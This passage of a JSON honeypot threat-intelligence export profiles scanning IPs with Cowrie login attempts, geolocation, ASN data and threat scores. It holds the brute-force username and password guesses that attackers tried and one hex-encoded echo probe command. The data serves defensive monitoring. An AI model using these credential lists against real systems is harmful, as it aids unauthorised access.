        "last_seen_30d": "2026-03-11T00:36:11.340000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "4.210.186.201": {
      "attack_count": 25,
      "first_seen": "2026-03-22T12:05:39.812Z",
      "last_seen": "2026-03-31T07:57:36.333Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ann",
        "ftpadmin",
        "jun"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "Ftpadmin123",
        "hbol",
        "qwe123QWE"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:05:39.812000+00:00",
        "last_seen_30d": "2026-03-31T07:58:38.543000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "38.188.160.241": {
      "attack_count": 20,
      "first_seen": "2026-03-10T23:46:15.528Z",
      "last_seen": "2026-03-11T00:36:37.890Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "130690",
        "221181",
        "362436",
        "Elisabeth"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:46:15.528000+00:00",
        "last_seen_30d": "2026-03-11T00:37:47.883000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "38.188.160.135": {
      "attack_count": 18,
      "first_seen": "2026-03-10T23:39:58.459Z",
      "last_seen": "2026-03-11T00:32:22.880Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "230889",
        "michele1",
        "onepiece1"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:39:58.459000+00:00",
        "last_seen_30d": "2026-03-11T00:33:29.106000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "14.116.156.220": {
      "attack_count": 15,
      "first_seen": "2026-03-07T15:10:13.137Z",
      "last_seen": "2026-03-07T15:28:14.329Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "es",
        "ftpsecure",
        "root"
      ],
      "passwords_attempted": [
        "1",
        "dp123456.",
        "es123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:10:13.137000+00:00",
        "last_seen_30d": "2026-03-07T15:29:21.581000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 12
      }
    },
    "203.247.143.193": {
      "attack_count": 15,
      "first_seen": "2026-03-31T18:41:36.978Z",
      "last_seen": "2026-03-31T19:09:16.255Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Pf123456",
        "kaixin123",
        "zhang2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4668,
      "as_org": "LG CNS",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T18:41:36.978000+00:00",
        "last_seen_30d": "2026-03-31T19:19:18.040000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "118.70.176.2": {
      "attack_count": 14,
      "first_seen": "2026-03-02T01:12:43.094Z",
      "last_seen": "2026-03-27T17:26:46.059Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:12:43.094000+00:00",
        "last_seen_30d": "2026-03-27T17:27:47.058000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 14
      }
    },
    "14.103.117.88": {
      "attack_count": 12,
      "first_seen": "2026-03-20T11:39:15.044Z",
      "last_seen": "2026-03-20T11:49:39.124Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "angga"
      ],
      "passwords_attempted": [
        "Angga123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T11:39:15.044000+00:00",
        "last_seen_30d": "2026-03-20T12:00:35.702000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "38.188.160.198": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:42:26.807Z",
      "last_seen": "2026-03-11T00:19:03.757Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "160589",
        "h36js3gGoF"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:42:26.807000+00:00",
        "last_seen_30d": "2026-03-11T00:20:10.874000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "38.188.160.212": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:06:59.684Z",
      "last_seen": "2026-03-10T23:09:14.205Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "230488",
        "bibite"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:06:59.684000+00:00",
        "last_seen_30d": "2026-03-10T23:10:22.552000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "74.82.47.4": {
      "attack_count": 9,
      "first_seen": "2026-03-08T02:40:45.258Z",
      "last_seen": "2026-03-10T11:28:15.742Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "East White Plains",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T02:15:03+00:00",
        "last_seen_30d": "2026-03-31T14:40:10.672000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 217,
        "Honeytrap": 91,
        "Ciscoasa": 13,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Miniprint": 9,
        "Mailoney": 6,
        "Dionaea": 4,
        "Tanner": 3,
        "Honeyaml": 2
      }
    },
    "142.93.2.42": {
      "attack_count": 8,
      "first_seen": "2026-03-30T06:04:17.676Z",
      "last_seen": "2026-03-30T06:05:20.809Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 101916,
        "days_active_30d": 2,
        "ports_targeted_30d": 63641,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-29T11:44:05+00:00",
        "last_seen_30d": "2026-03-30T06:16:50.086000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92363,
        "Honeytrap": 9513,
        "Cowrie": 8,
        "Dionaea": 8,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "185.242.226.17": {
      "attack_count": 8,
      "first_seen": "2026-03-04T23:30:32.587Z",
      "last_seen": "2026-03-10T20:01:25.854Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 11.7,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 14,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T14:22:55+00:00",
        "last_seen_30d": "2026-03-15T00:54:06.858000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 24,
        "Cowrie": 8
      }
    },
    "130.12.180.195": {
      "attack_count": 6,
      "first_seen": "2026-03-05T00:16:55.575Z",
      "last_seen": "2026-03-05T02:49:34.120Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:16:55.575000+00:00",
        "last_seen_30d": "2026-03-05T02:50:36.853000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "134.185.117.241": {
      "attack_count": 6,
      "first_seen": "2026-03-04T11:23:46.738Z",
      "last_seen": "2026-03-23T06:34:21.159Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chuncheon",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 23.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 28,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:22:44.041000+00:00",
        "last_seen_30d": "2026-03-30T15:24:10.704000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 6
      }
    },
    "162.142.125.114": {
      "attack_count": 6,
      "first_seen": "2026-03-19T19:34:28.131Z",
      "last_seen": "2026-03-19T19:35:08.067Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 20,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T11:47:22+00:00",
        "last_seen_30d": "2026-03-21T23:19:49.141000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 23,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 3
      }
    },
    "206.168.34.49": {
      "attack_count": 6,
      "first_seen": "2026-03-16T13:30:58.501Z",
      "last_seen": "2026-03-16T13:31:33.197Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 56.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.3,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 22,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:29:34.966000+00:00",
        "last_seen_30d": "2026-03-23T18:24:28.340000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 34,
        "Cowrie": 6,
        "Ipphoney": 1
      }
    },
    "45.33.80.243": {
      "attack_count": 6,
      "first_seen": "2026-03-10T02:40:44.468Z",
      "last_seen": "2026-03-10T02:40:44.860Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T14:31:48+00:00",
        "last_seen_30d": "2026-03-30T20:20:37.419000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 30,
        "Cowrie": 6
      }
    },
    "66.228.53.46": {
      "attack_count": 6,
      "first_seen": "2026-03-03T14:23:04.389Z",
      "last_seen": "2026-03-03T14:23:04.729Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T14:23:04.389000+00:00",
        "last_seen_30d": "2026-03-31T17:34:57.686000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 46,
        "Cowrie": 6,
        "Tanner": 1
      }
    },
    "23.129.64.165": {
      "attack_count": 5,
      "first_seen": "2026-03-14T23:55:32.198Z",
      "last_seen": "2026-03-14T23:55:36.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "t3rr0r"
      ],
      "passwords_attempted": [
        "t3rr0rt3rr0r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396507,
      "as_org": "Emerald Onion",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T10:31:11+00:00",
        "last_seen_30d": "2026-03-14T23:56:38.088000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 5,
        "Honeytrap": 4
      }
    },
    "117.72.49.8": {
      "attack_count": 4,
      "first_seen": "2026-03-14T02:59:12.180Z",
      "last_seen": "2026-03-14T03:01:12.212Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T02:59:12.180000+00:00",
        "last_seen_30d": "2026-03-14T03:11:20.318000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "141.98.11.166": {
      "attack_count": 4,
      "first_seen": "2026-03-05T14:21:50.429Z",
      "last_seen": "2026-03-05T14:21:53.742Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:21:50.429000+00:00",
        "last_seen_30d": "2026-03-05T14:22:55.983000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "198.235.24.164": {
      "attack_count": 4,
      "first_seen": "2026-03-27T22:35:29.933Z",
      "last_seen": "2026-03-27T22:35:33.577Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T20:05:06+00:00",
        "last_seen_30d": "2026-03-30T06:32:42.812000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 26,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.66": {
      "attack_count": 4,
      "first_seen": "2026-03-21T16:14:54.213Z",
      "last_seen": "2026-03-21T16:14:57.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:33:23+00:00",
        "last_seen_30d": "2026-03-31T02:30:48.125000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 26,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.73": {
      "attack_count": 4,
      "first_seen": "2026-03-22T22:47:05.983Z",
      "last_seen": "2026-03-22T22:47:09.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T04:29:25+00:00",
        "last_seen_30d": "2026-03-31T08:04:35.101000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 34,
        "Cowrie": 4,
        "Tanner": 2,
        "ConPot": 1
      }
    },
    "42.48.38.221": {
      "attack_count": 4,
      "first_seen": "2026-03-05T01:24:32.311Z",
      "last_seen": "2026-03-05T01:24:47.312Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T01:24:32.311000+00:00",
        "last_seen_30d": "2026-03-05T09:41:59.195000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "66.132.195.73": {
      "attack_count": 4,
      "first_seen": "2026-03-27T22:37:27.288Z",
      "last_seen": "2026-03-27T22:37:43.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
